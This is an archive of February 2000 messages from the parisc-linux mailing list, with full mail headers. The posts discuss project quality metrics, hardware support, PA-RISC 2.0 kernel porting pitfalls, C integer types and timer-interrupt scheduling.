Dunn RobertE Contr ESC Det 5 /NDSI wrote:
> 
>         My primary question is, are there any metrics being gathered on the
> problems that I see reported on the list server?  Are the problems that are
> reported being categorized and counted?  Is there any identification of when
> the problem was introduced, when it was identified, and when it was
> corrected?


From - Thu Nov 08 21:11:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Metrics Gathering and Quality Measurements
Date: Thu, 10 Feb 2000 18:37:03 -0500
Organization: The Puffins at Linuxcare
Lines: 20
Approved: news@gmane.org
Message-ID: <38A34B9F.255A1324@linuxcare.com>
References: <40DBF9A085B2D3118C2600508B6FCB8A41E0FD@cisf7.cisf.af.mil>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618763 30046 80.91.229.3 (22 Nov 2014 01:12:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:43 +0000 (UTC)
Cc: "'parisc-linux'" <parisc-linux@thepuffingroup.com>
To: Dunn RobertE Contr ESC Det 5 /NDSI <Robert.Dunn@CISF.AF.MIL>
Original-X-From: adevries@linuxcare.com  Thu Feb 10 17:35:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA27241
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Feb 2000 17:35:04 -0700
Original-Received: (qmail 12459 invoked by uid 15267); 10 Feb 2000 23:32:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9424 invoked from network); 10 Feb 2000 23:29:05 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (216.88.157.130)
  by mailserv2.iuinc.com with SMTP; 10 Feb 2000 23:29:05 -0000
Original-Received: from linuxcare.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id SAA00898;
	Thu, 10 Feb 2000 18:37:03 -0500
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6806

Dunn RobertE Contr ESC Det 5 /NDSI wrote:
>         My primary question is, are there any metrics being gathered on the
> problems that I see reported on the list server?  Are the problems that are
> reported being categorized and counted?  Is there any identification of when
> the problem was introduced, when it was identified, and when it was
> corrected?

Right now, we have no such data, but I'd be interested in seeing your
analysis.  Several of us have worked on Linux on different architectures
though.

- Alex

-- 
Alex deVries, Director of Professional Services, The Puffins at
Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:11:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] some stats
Date: Thu, 10 Feb 2000 19:00:38 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20000210190038.B7236@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618763 30047 80.91.229.3 (22 Nov 2014 01:12:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:43 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Thu Feb 10 18:06:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA27762
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Feb 2000 18:06:55 -0700
Original-Received: (qmail 4751 invoked by uid 15267); 11 Feb 2000 00:04:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1798 invoked from network); 11 Feb 2000 00:00:39 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 11 Feb 2000 00:00:39 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id TAA05677
	for parisc-linux@thepuffingroup.com; Thu, 10 Feb 2000 19:00:38 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6807


Someone may find this interesting.  I just did a
`diff -ur linux-2.3.42 cvs/linux-2.3' to find out how much of the mainline
kernel tree we've changed.  After judicious trimming of changes we
haven't actually made (CVS artifacts, etc), the diff is 5367 lines long.
There are basically five categories of changes:

 * Extra debug code that we won't merge in with Linus
 * The page colouring code.
 * Workarounds for compiling as SOM, not ELF.
 * Build system changes.
 * Driver changes.  Some for IO coherency, some for `and parisc too'.

The page colouring code is probably the only thing which will prevent us
merging into Linux 2.4.x.  Page colouring seems to be on the agenda for
Linux 2.5, and nothing stops us from producing our own kernel `based on
Linux 2.4', just like Red Hat.  Of course, we ought to get a little more
developed before we try to merge :-)


From - Thu Nov 08 21:11:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Estes <matt@phoenix.maintree.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] About supported machines.
Date: Thu, 10 Feb 2000 19:04:45 -0600
Lines: 9
Approved: news@gmane.org
Message-ID: <2.2.32.20000211010445.006aa0cc@phoenix.maintree.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416618763 30051 80.91.229.3 (22 Nov 2014 01:12:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:43 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: matt@maintree.com  Thu Feb 10 19:08:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA28155
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Feb 2000 19:08:54 -0700
Original-Received: (qmail 21108 invoked by uid 15267); 11 Feb 2000 01:07:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18920 invoked from network); 11 Feb 2000 01:03:54 -0000
Original-Received: from 24-216-3-235.hsacorp.net (HELO phoenix.maintree.com) (root@24.216.3.235)
  by mailserv2.iuinc.com with SMTP; 11 Feb 2000 01:03:54 -0000
Original-Received: from gandalf (DIALUP198.TNCOO.USIT.NET [216.80.176.72])
	by phoenix.maintree.com (8.9.3/8.8.7) with SMTP id UAA31473
	for <parisc-linux@thepuffingroup.com>; Thu, 10 Feb 2000 20:03:49 -0500
X-Sender: matt@phoenix.maintree.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Xref: news.gmane.org gmane.linux.ports.parisc:6808

        I have recently acquired an Apollo 720 with HP-UX 9.03, I was
wondering if this machine is in the class of machines that you are either
supporting or plan to support. I looked in the hardware database and
couldn't find anything about 720's, so I thought I would ask the mailing
list. It is no real use to me as is, so I would be willing to do testing on
it. Thanks.

                                        Matt Estes


From - Thu Nov 08 21:11:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dkennedy@linuxcare.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] About supported machines.
Date: Fri, 11 Feb 2000 11:13:02 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10002111112010.20107-100000@grasshopper.thepuffingroup.com>
References: <2.2.32.20000211010445.006aa0cc@phoenix.maintree.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618764 30310 80.91.229.3 (22 Nov 2014 01:12:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:44 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Estes <matt@phoenix.maintree.com>
Original-X-From: dkennedy@linuxcare.com  Fri Feb 11 09:09:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA03001
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Feb 2000 09:09:18 -0700
Original-Received: (qmail 20032 invoked by uid 15267); 11 Feb 2000 15:06:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16742 invoked from network); 11 Feb 2000 15:03:12 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 11 Feb 2000 15:03:12 -0000
Original-Received: from grasshopper.thepuffingroup.com (IDENT:dkennedy@grasshopper.thepuffingroup.com [192.168.1.65])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id KAA18909;
	Fri, 11 Feb 2000 10:02:44 -0500
X-Sender: dkennedy@grasshopper.thepuffingroup.com
In-Reply-To: <2.2.32.20000211010445.006aa0cc@phoenix.maintree.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6809

On Thu, 10 Feb 2000, Matthew Estes wrote:

>         I have recently acquired an Apollo 720 with HP-UX 9.03, I was
> wondering if this machine is in the class of machines that you are either
> supporting or plan to support. I looked in the hardware database and
> couldn't find anything about 720's, so I thought I would ask the mailing
> list. It is no real use to me as is, so I would be willing to do testing on
> it. Thanks.

Since we don't currently have a 720 in the hardware database, can you
please add your machine to the database.  If you have any problems,
please let me know.

Thanks.

-- 
David Kennedy, Senior Linux Consultant, Linuxcare, Inc.
613.562.9594 tel, 613.562.9304 fax
dkennedy@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:11:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dunn RobertE Contr ESC Det 5 /NDSI <Robert.Dunn@CISF.AF.MIL>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Metrics Gathering and Quality Measurements
Date: Fri, 11 Feb 2000 09:07:53 -0700
Lines: 57
Approved: news@gmane.org
Message-ID: <40DBF9A085B2D3118C2600508B6FCB8A41E102@cisf7.cisf.af.mil>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416618764 30312 80.91.229.3 (22 Nov 2014 01:12:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:44 +0000 (UTC)
Cc: "'parisc-linux'" <parisc-linux@thepuffingroup.com>
To: "'Alex deVries'" <adevries@linuxcare.com>
Original-X-From: Robert.Dunn@CISF.AF.MIL  Fri Feb 11 10:19:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA03888
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Feb 2000 10:19:40 -0700
Original-Received: (qmail 18476 invoked by uid 15267); 11 Feb 2000 16:16:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13534 invoked from network); 11 Feb 2000 16:11:12 -0000
Original-Received: from palisade.spacecom.af.mil (131.15.136.2)
  by mailserv2.iuinc.com with SMTP; 11 Feb 2000 16:11:12 -0000
Original-Received: from Palisade.spacecom.af.mil (root@localhost)
	by Palisade.spacecom.af.mil with ESMTP id JAA08764;
	Fri, 11 Feb 2000 09:07:06 -0700 (MST)
Original-Received: from fstdka20.cisf.af.mil ([137.11.128.80])
	by Palisade.spacecom.af.mil with ESMTP id JAA08756;
	Fri, 11 Feb 2000 09:07:05 -0700 (MST)
Original-Received: by fstdka20.cisf.af.mil with Internet Mail Service (5.5.2607.0)
	id <1PX50DBT>; Fri, 11 Feb 2000 09:10:05 -0700
Return-Receipt-To: Dunn RobertE Contr ESC Det 5 /NDSI <Robert.Dunn@CISF.AF.MIL>
X-Mailer: Internet Mail Service (5.5.2607.0)
Xref: news.gmane.org gmane.linux.ports.parisc:6810


	Right now, we have no such data, but I'd be interested in seeing
your
	analysis.  Several of us have worked on Linux on different
architectures
	though.

Alex,

	What file format would you like.  Linux people probably want Corel.
I have Word Perfect.  The school will want satan's Word 97 format.  I am
unsure about posting binary files to the list server.  I can e-mail it
directly to you.  Does anybody else want a copy?  It will be several weeks
before I will have it together.  I can tell you, however, based on what I
have learned thus far, there will be many negatives.  I will attempt to
identify any of the positive points that I can (for example: this list
server and bugzilla - thanks Mike -).  Any information the team can provide
will be most beneficial.

	Remember, my project deals with the quantification of quality.  This
includes the ability of the product team to quantify the quality of the
product.  My analysis will not address the quality of the product, it will
address the quality of the processes.  

	Some other questions:

	Has there been any risk analysis done?  I can see evidence of, at
least some informal, risk analysis.  The discussions about merging Linus'
product with parisc attempts to identify some of the risks that may be
encountered and some of the steps that may be taken to mitigate those risks.

	Have there been any prioritization of tasks?  Has the team
identified tasks that will take longer or have greater risk?  If they have,
have they also identified the earliest possible starting time for these
tasks?

	Is there a schedule?  It seems as though the project is just moving
in a forward direction with the goal of finishing when it can be finished?
I don't think I have seen any "future" milestones identified, at least, not
with a date associated to them.  There is plenty about accomplished
milestones.

	Are there budget issues or concerns?  I recognize that some of them
may not be discussed openly.  If any of that type of information is allowed,
then I will be happy to hear it.  I understand that Hewlett Packard in Fort
Collins is writing the checks for this project.

	What role is Linuxcare taking in the project now?  Have there been
any updates to the Puffingroup website in the last couple of weeks?

	Ok, I have rambled on enough for now.  I am looking forward to
answers to these questions.  I shall prepare my next list of questions.

	Again, thanks in advance.

Robert


From - Thu Nov 08 21:11:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John Curry" <jcurry@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Some PA-RISC 2.0 Gotchas
Date: Fri, 11 Feb 2000 09:10:54 -0800
Lines: 36
Approved: news@gmane.org
Message-ID: <00ec01bf74b2$f4c6c050$1c80100f@jc356611.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618764 30314 80.91.229.3 (22 Nov 2014 01:12:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:44 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: jcurry@cup.hp.com  Fri Feb 11 11:18:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA04283
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Feb 2000 11:18:38 -0700
Original-Received: (qmail 7176 invoked by uid 15267); 11 Feb 2000 17:16:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2581 invoked from network); 11 Feb 2000 17:11:23 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 11 Feb 2000 17:11:23 -0000
Original-Received: from hpdst41.cup.hp.com (hpdst41.cup.hp.com [15.16.128.62])
	by palrel3.hp.com (Postfix) with ESMTP id E7E82142E
	for <parisc-linux@thepuffingroup.com>; Fri, 11 Feb 2000 09:11:21 -0800 (PST)
Original-Received: from jc356611 (jc356611.cup.hp.com [15.16.128.28]) by hpdst41.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id JAA21988 for <parisc-linux@thepuffingroup.com>; Fri, 11 Feb 2000 09:10:55 -0800 (PST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3612.1700
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700
Xref: news.gmane.org gmane.linux.ports.parisc:6811


Hello all,
            we have been looking into the kernel code for porting to the 2.0
Architecture. We have
stumbled upon a few gothas:

- In 2.0, function pointers are not addresses to functions, but are
addresses to data strcutures
called "function descriptors". So, if assembly code gets passed a pointer to
a function, it will have
to remember which slot in the "function descriptor" the actual function
pointer resides.

- There are some places in the kernel where the implicit assumption that
longs == ints will break!
For example, the parisc_set_bit  function is used in several places to
operate on bitmaps of type long.
Obviously, this function (and the other related functions) has to converted
to operate on 64-bit quantities.
But, in the free_area_struc type, the map variable is declared as an integer
ptr. Depending on the size of
the bitmap, this will cause the parisc_set_bit  to operate incorrectly. We
solved this problem by making
the map variable a unsigned long pointer.

- The 32-bit assembly LDIL, LDO trick of getting the address of some label
(or address) will not work the way you want.
In the 64-bit architeture, you will have to use MFIA in conjunction with
loading the difference from the address
you want, to where you are.


Hope these are of some use.

J.C.


From - Thu Nov 08 21:11:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some PA-RISC 2.0 Gotchas
Date: Fri, 11 Feb 2000 09:52:43 -0800 (PST)
Lines: 30
Approved: news@gmane.org
Message-ID: <200002111752.JAA01509@opus.allegro.com>
References: <00ec01bf74b2$f4c6c050$1c80100f@jc356611.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618765 30317 80.91.229.3 (22 Nov 2014 01:12:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: jcurry@cup.hp.com (John Curry)
Original-X-From: sieler@opus.allegro.com  Fri Feb 11 12:06:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA04804
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Feb 2000 12:06:40 -0700
Original-Received: (qmail 21132 invoked by uid 15267); 11 Feb 2000 18:02:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13429 invoked from network); 11 Feb 2000 17:54:50 -0000
Original-Received: from opus.allegro.com (209.10.39.50)
  by mailserv2.iuinc.com with SMTP; 11 Feb 2000 17:54:50 -0000
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id JAA01509;
	Fri, 11 Feb 2000 09:52:43 -0800
In-Reply-To: <00ec01bf74b2$f4c6c050$1c80100f@jc356611.cup.hp.com> from "John Curry" at Feb 11, 2000 09:10:54 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:6812

Re: 

> - In 2.0, function pointers are not addresses to functions, but are
> addresses to data strcutures
> called "function descriptors". So, if assembly code gets passed a pointer to
> a function, it will have
> to remember which slot in the "function descriptor" the actual function
> pointer resides.

They're pointers to data on HP-UX 10.20 as well.
 
> - There are some places in the kernel where the implicit assumption that
> longs == ints will break!

:)

My pet peeve...

Code should almost *never* use "short", "int", or "long" ... 
but instead, "int32" and "int64" (or whatever) should be used.  

I've lost track of the number of bugs I've seen caused by this.  
(Ok, one exception...if you're calling a system function documented as 
using "int" or "long", then you can declare variables of those type 
... but be very careful using them, and file a bug report with the vendor :)

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html          www.allegro.com/sieler


From - Thu Nov 08 21:11:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some PA-RISC 2.0 Gotchas
Date: Fri, 11 Feb 2000 19:21:55 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20000211192155.A4843@abacus.local>
References: <00ec01bf74b2$f4c6c050$1c80100f@jc356611.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618765 30324 80.91.229.3 (22 Nov 2014 01:12:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Curry <jcurry@cup.hp.com>
Original-X-From: prumpf@inwestnet.de  Fri Feb 11 12:34:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA05295
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Feb 2000 12:34:53 -0700
Original-Received: (qmail 17152 invoked by uid 15267); 11 Feb 2000 18:30:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12680 invoked from network); 11 Feb 2000 18:25:43 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 11 Feb 2000 18:25:43 -0000
Original-Received: (qmail 31551 invoked from network); 11 Feb 2000 18:25:39 -0000
Original-Received: from port0025.fra.ginko.net (HELO inwestnet.de) (root@212.202.70.25)
  by mail.ginko.net with SMTP; 11 Feb 2000 18:25:39 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id TAA04889;
	Fri, 11 Feb 2000 19:22:57 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <00ec01bf74b2$f4c6c050$1c80100f@jc356611.cup.hp.com>; from jcurry@cup.hp.com on Fri, Feb 11, 2000 at 09:10:54AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6813

> But, in the free_area_struc type, the map variable is declared as an integer
> ptr. Depending on the size of
> the bitmap, this will cause the parisc_set_bit  to operate incorrectly. We
> solved this problem by making
> the map variable a unsigned long pointer.

it's very unlikely map isn't a multiple of 8 bytes, but I agree this type
should be changed.

> Hope these are of some use.

Thanks, I'm sure they will.

	Philipp


From - Thu Nov 08 21:11:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christopher Neufeld <Christopher.Neufeld@dynacan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some PA-RISC 2.0 Gotchas
Date: Fri, 11 Feb 2000 13:38:30 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <200002111838.NAA12763@vorlon.dynacan.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618765 30328 80.91.229.3 (22 Nov 2014 01:12:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:45 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Christopher.Neufeld@dynacan.org  Fri Feb 11 12:45:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA05813
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Feb 2000 12:45:25 -0700
Original-Received: (qmail 28936 invoked by uid 15267); 11 Feb 2000 18:42:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25305 invoked from network); 11 Feb 2000 18:39:00 -0000
Original-Received: from vorlon.dynacan.org (209.217.100.58)
  by mailserv2.iuinc.com with SMTP; 11 Feb 2000 18:39:00 -0000
Original-Received: (from neufeld@localhost)
	by vorlon.dynacan.org (8.9.3/8.9.3) id NAA12763
	for parisc-linux@thepuffingroup.com; Fri, 11 Feb 2000 13:38:30 -0500
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
Xref: news.gmane.org gmane.linux.ports.parisc:6814

On Feb 11,  9:52am, Stan Sieler wrote:
> 
>> - There are some places in the kernel where the implicit assumption that
>> longs == ints will break!
>
>My pet peeve...
>
>Code should almost *never* use "short", "int", or "long" ... 
>but instead, "int32" and "int64" (or whatever) should be used.  
>
   The types are "int32_t", "int64_t", etc. These are codified in the C99
standard which was finally ratified late last year. The previous
standard, C89, did not define these types, and so portable code could not
use them, short of a person rewriting the typedefs in the program's
header files for each new architecture/compiler.

   There are many circumstances where one wants to use those particular
K&R types. "int", for example, is intended to be implemented in the
machine's natural word size. While not required by the standard, the
recommendation allows you to expect that code using ints will probably be
at least as quick as code using other integer types (neglecting "real
world" impacts like memory bandwidth and cache size). If you look in a
C99-compliant <stdint.h> header file you'll see that there are types like
"int_fast16_t" which are mapped not to an integer of size 16, but to an
integer of the natural word size of the machine (on x86 that means that
int_fast16_t and int_fast32_t are both typedef-ed to int, and on a 64 bit
architecture int_fast16_t is typedef-ed to a 64 bit integer).

   In any case, I agree that the assumption that longs and ints can be
mutually cast without loss of information is a nasty one which breaks
often. Another bad one is the idea that an integer can always hold a
pointer. I've heard that these are common blights in GNU code, though
I've never tried to verify that.

   Oh, in case people are interested, and don't know, the document which
is going to become the ISO C99 standard, n869, is available at:

http://anubis.dkuug.dk/JTC1/SC22/WG14/www/docs/n869/

good reading, a bit low on plot development.


-- 
 Christopher Neufeld		   Christopher.Neufeld@dynacan.org
 Home page:  http://caliban.physics.utoronto.ca/neufeld/
 "Don't edit reality for the sake of simplicity"


From - Thu Nov 08 21:11:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ullas Ponnadi <uponnadi@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Timer Interrupt and Scheduler
Date: Fri, 11 Feb 2000 10:54:29 -0800
Organization: Hewlett Packard
Lines: 41
Approved: news@gmane.org
Message-ID: <38A45AE4.EF2A67AB@cup.hp.com>
References: <38A0B5CB.DCF1C486@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618766 30346 80.91.229.3 (22 Nov 2014 01:12:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: uponnadi@cup.hp.com  Fri Feb 11 12:58:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA05962
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Feb 2000 12:58:36 -0700
Original-Received: (qmail 9961 invoked by uid 15267); 11 Feb 2000 18:56:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6902 invoked from network); 11 Feb 2000 18:53:31 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 11 Feb 2000 18:53:31 -0000
Original-Received: from hpdst41.cup.hp.com (hpdst41.cup.hp.com [15.16.128.62])
	by atlrel1.hp.com (Postfix) with ESMTP id 9EE781A9A7
	for <parisc-linux@thepuffingroup.com>; Fri, 11 Feb 2000 13:53:30 -0500 (EST)
Original-Received: from cup.hp.com (hpdst231.cup.hp.com [15.16.129.192]) by hpdst41.cup.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id KAA25689 for <parisc-linux@thepuffingroup.com>; Fri, 11 Feb 2000 10:53:29 -0800 (PST)
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6815

I would like to expand my observations a little bit more with regards to
the timer
interrupt and the scheduler.

Looking at the linux documentation available and the code for the x86
and
alpha architectures, at the very end of a return from the timer
interrupt,
a call to the scheduler should be made, if necessary. I see this call in
the
ret_from_intr label in entry.S file on the x86 architecture and
ret_from_sys_call
in entry.S on the alpha architecture. The parisc interrupt handler does
not seem to
be doing any such thing. ( Looking at the linux-2_3_29-20000208_tar
archive ).

Could someone help me understand how the scheduler would get called when

a timer interrupt occurs?

Thanks,

Ullas


Ullas Ponnadi wrote:

> Could someone give me more insight into how the scheduler would get
> called
> when a timer interrupt happens? I tried tracing through the code
> handling the
> external interrupt and am at a loss trying to figure out this part.
>
> Thanks,
>
> Ullas Ponnadi





From - Thu Nov 08 21:11:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
